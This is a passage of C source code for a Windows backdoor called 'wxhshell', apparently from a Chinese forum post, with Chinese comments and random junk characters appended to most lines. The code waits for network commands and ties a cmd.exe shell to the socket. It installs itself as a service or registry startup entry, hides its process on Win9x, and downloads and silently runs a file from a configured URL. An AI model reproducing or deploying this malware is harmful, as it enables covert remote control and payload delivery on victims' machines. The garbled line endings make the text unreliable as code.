  else { q6_1`Ew  
|um)vlN;9  
    switch(cmd[0]) { @XIwp2A{+  
  !Aw.f!  
  // 帮助 {Z?!*Ow  
  case '?': { V;:A&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0]HK (,/h  
    break; q0c)pxD%`  
  } }+=@Ci  
  // 安装 =~EQ3uX  
  case 'i': { 5~[ Fh2+  
    if(Install()) O0$ijJa|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "t\9@nzdX  
    else wK\SeX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RgRcW5VxK  
    break; 6 w ]]KA  
    } [FCNW0NV  
  // 卸载 u8,T>VNVw  
  case 'r': { ljf9L:L  
    if(Uninstall()) (6A{6_p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <s{/ka3  
    else ftH 0aI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B"B  
    break; :iWV:0)P  
    } .-34 g5  
  // 显示 wxhshell 所在路径 TX+t   
  case 'p': { d z\b]H]  
    char svExeFile[MAX_PATH]; b QeYFY#^  
    strcpy(svExeFile,"\n\r"); 7SM/bJ-M#  
      strcat(svExeFile,ExeFile); D@ lJ^+  
        send(wsh,svExeFile,strlen(svExeFile),0); 4{Ak|  
    break; ]E3g8?L  
    } [a Z)*L ;  
  // 重启 9"aTF,'F/  
  case 'b': { vaU7tJ:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gI%n(eY  
    if(Boot(REBOOT)) g!QumRF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i'u;"ot=  
    else { q>X:z0H  
    closesocket(wsh); !3&}r  
    ExitThread(0); lGz0K5P{  
    } *w6N&  
    break; -|T^  
    } "LWp/  
  // 关机 ?t"PawBWE  
  case 'd': { >*(>%E~H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QRjt.Ry|  
    if(Boot(SHUTDOWN)) #}Cwn$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \r 2qH0B  
    else {  \X`P W  
    closesocket(wsh); g\Z k*5(  
    ExitThread(0); -I*A  `M  
    } SM<kE<q#  
    break; W7 E-j+2  
    } GwV FD%  
  // 获取shell a]k&$  
  case 's': { M}<=~/k`j  
    CmdShell(wsh); izw}25SW  
    closesocket(wsh); oGqv,[$qN  
    ExitThread(0); 7 AiCQWf9  
    break; ww2Qa-K  
  } r?TK@^z  
  // 退出 {P5@2u6S  
  case 'x': { P(;c`   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kA_ 3o)J  
    CloseIt(wsh); SMFW]I2T/  
    break; l.juys8s  
    } dNobvK  
  // 离开 Y P c<  
  case 'q': { 6T s`5$e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -(.7/G'Vk>  
    closesocket(wsh); aiHr2x6  
    WSACleanup(); 8hfh,v5(  
    exit(1); fz3*oJ'  
    break; = 1VH5pVr}  
        } D2p6&HNT  
  } \gkajY-?  
  } )'~FDw\6  
x,dv ~QU  
  // 提示信息 OpLSjr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yn>zR I  
} G,-OH-M!  
  } O| ]Ped9  
Z L</  
  return; 6~ `bAe`}  
} !&lPdEc@T  
o3qv945  
// shell模块句柄 ?m1$*j  
int CmdShell(SOCKET sock) @U{M"1zZe  
{ ?<'W~Rm6n  
STARTUPINFO si; WZ&@ JB  
ZeroMemory(&si,sizeof(si)); &|'6-wD.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )y W_O:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j*4S]!  
PROCESS_INFORMATION ProcessInfo; 4d G-  
char cmdline[]="cmd"; ]ECZU   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R+0"B  
  return 0; k+$4?/A  
} x 5Dt5Yp"o  
NRSse"  
// 自身启动模式 "v!HKnDT  
int StartFromService(void) vXyo  
{ yQ{_\t1Wd  
typedef struct 2gAdZE&Y  
{ X#,[2&17Fh  
  DWORD ExitStatus; O^weUpe\  
  DWORD PebBaseAddress; gsWlTI  
  DWORD AffinityMask; [; ?{BB  
  DWORD BasePriority; }]+}Tipd  
  ULONG UniqueProcessId; 8'"/gC{  
  ULONG InheritedFromUniqueProcessId; [KI`e  
}   PROCESS_BASIC_INFORMATION; :TYzzl43  
*9Js:z7I  
PROCNTQSIP NtQueryInformationProcess; KH>sCEt  
C$G88hesn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]#q7}Sd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b[o"Uq@8?  
;To+,`?E;q  
  HANDLE             hProcess; NvHy'  
  PROCESS_BASIC_INFORMATION pbi; {_ho!OS>  
^%$W S,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }_:#fE  
  if(NULL == hInst ) return 0; q\ y#  
k,iV$,[TF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A;j$rGx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I u~aTgHX%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QqK{~I|l  
D3AtYt  
  if (!NtQueryInformationProcess) return 0; Ldj^O9p(  
DD6`k*RIk.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r]//Q6|S  
  if(!hProcess) return 0; j X!ftm2  
d>b,aj(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 27 YLg c  
X1V}%@3:  
  CloseHandle(hProcess); WlRZ|.  
[(P[qEY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [xs)u3b  
if(hProcess==NULL) return 0; ~v(M6dz~vk  
Ysc|kxLb  
HMODULE hMod; ? ]:EmP  
char procName[255]; a0/n13c?G  
unsigned long cbNeeded; Iam-'S5  
iMeRQYW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nh&J3b}B!  
K-Dk2(x  
  CloseHandle(hProcess); ':2*+  
# pjyhH@  
if(strstr(procName,"services")) return 1; // 以服务启动 MV;Y?%>  
8&A|)ur4  
  return 0; // 注册表启动 Rw ao5l=x  
} W/ZahPPq  
bR8 HGH28  
// 主模块 )4F/T,{;m  
int StartWxhshell(LPSTR lpCmdLine) CMxjX  
{ Jyz$&jqyr'  
  SOCKET wsl; 7k#${,k  
BOOL val=TRUE; uM#U!  
  int port=0; zr;Y1Xt4  
  struct sockaddr_in door; 7MuK/q.  
77&^$JpM  
  if(wscfg.ws_autoins) Install(); *CPB5s  
I bv_D$cT  
port=atoi(lpCmdLine); k"^t?\Q%vI  
?Str*XA;  
if(port<=0) port=wscfg.ws_port; qp~4KukL  
Ubw!/|mi  
  WSADATA data; X v7U<q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F<oc Y0=9p  
.t^UK#@#4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   leb^,1/D6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); */5<L99v  
  door.sin_family = AF_INET; 5Du>-.r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {sfmWVp  
  door.sin_port = htons(port); TA@tRGP>  
(9YYv+GGd*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +zVcOS*-  
closesocket(wsl); B )1<`nJA  
return 1; `3sy>GU?  
} 5fj  
e1 {t0f  
  if(listen(wsl,2) == INVALID_SOCKET) { I"F .%re  
closesocket(wsl); RP|>&I  
return 1; \\2k}TsB  
} kuTq8p2E  
  Wxhshell(wsl); 9#EHXgz  
  WSACleanup(); _r<zSH%  
)ZgER[  
return 0; b5n]Gp  
a$xeiy9  
} #A|D\IhF  
[ n0##/  
// 以NT服务方式启动 6 <qwP?WN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rekb?|{z  
{ r{_B:  
DWORD   status = 0; cz7 CrK~5  
  DWORD   specificError = 0xfffffff; j5,^9'  
>2|[EZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =$)4:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {;Y 89&*R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v ]/OAH6D  
  serviceStatus.dwWin32ExitCode     = 0; .0Iun+nUD  
  serviceStatus.dwServiceSpecificExitCode = 0; mX<Fuu}E*Z  
  serviceStatus.dwCheckPoint       = 0; Hyq@O 8  
  serviceStatus.dwWaitHint       = 0; n2xLgK=  
Xx3 g3P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !^)wPmk  
  if (hServiceStatusHandle==0) return; J0ZxhxX35  
s FQ4O- SM  
status = GetLastError(); 4GU/V\e|  
  if (status!=NO_ERROR) ~|y^\U@  
{ G%P>A g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ci7P%]9  
    serviceStatus.dwCheckPoint       = 0; `2x H7a-  
    serviceStatus.dwWaitHint       = 0; |+Hp+9J  
    serviceStatus.dwWin32ExitCode     = status; c-4m8Kg?L  
    serviceStatus.dwServiceSpecificExitCode = specificError; kf%&d}2to  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); biK)&6|`sa  
    return; .>mH]/]m  
  } &v5G92  
V;h=8C5J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^CZCZ,v  
  serviceStatus.dwCheckPoint       = 0; HE#,(;1i  
  serviceStatus.dwWaitHint       = 0; &a%WM   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uipq=Yp.  
} fm(mO%  
./'~];&  
// 处理NT服务事件,比如:启动、停止 GVmC }>z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s<[A0=LH  
{ ;y>S7n>n:  
switch(fdwControl) ?z2jk  
{ B.89_!/:p  
case SERVICE_CONTROL_STOP: [##`U m  
  serviceStatus.dwWin32ExitCode = 0;  9R9__w;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #O2wyG)oU  
  serviceStatus.dwCheckPoint   = 0; uije#cj#O  
  serviceStatus.dwWaitHint     = 0; :83,[;GO2  
  { v8ba~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )v[XmJ>H~o  
  } QBy{| sQ`  
  return; bGbqfO`  
case SERVICE_CONTROL_PAUSE: ' |&>/dyq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nz4<pvC,*  
  break; \HAJ\9*w)  
case SERVICE_CONTROL_CONTINUE: O0^?f/&k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J,f/fPaf7  
  break; 10p8|9rE}B  
case SERVICE_CONTROL_INTERROGATE: <f N; xIB  
  break; rwiw Rh  
}; F\a]n^ Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QE|`&~sme  
} g>so R&*  
PU W[e%  
// 标准应用程序主函数 vxZg &SRK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4SgF,ac3r  
{ 8{dEpV*  
eP"`,<  
// 获取操作系统版本 Kx~$Bor_!  
OsIsNt=GetOsVer(); ; e@gO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yu'a<5f  
~g6"'Cya?k  
  // 从命令行安装 ~W<CE_/]k  
  if(strpbrk(lpCmdLine,"iI")) Install(); \)OEBN`9#  
)l&D]3$6K  
  // 下载执行文件 zh\$t]d<I  
if(wscfg.ws_downexe) { H$!+A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H+ lX-,  
  WinExec(wscfg.ws_filenam,SW_HIDE); .2 0V 3  
} +Mk#9 r  
w/W7N   
if(!OsIsNt) { 4S|=/f  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ve}[XqdS^p  
HideProc(); xACdZB(  
StartWxhshell(lpCmdLine); q*, Q5  
} >{C\H.N  
else 5Fm av5  
  if(StartFromService()) y` yZ R _  
  // 以服务方式启动 aBhV3Fd[B  
  StartServiceCtrlDispatcher(DispatchTable); iib  
else +L0w;wT  
  // 普通方式启动 }g|nz8  
  StartWxhshell(lpCmdLine); Ha%F"V*  
8Hi!kc;f6>  
return 0; 9'nH2,_  
}
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只看该作者 1 发表于: 2006-10-10
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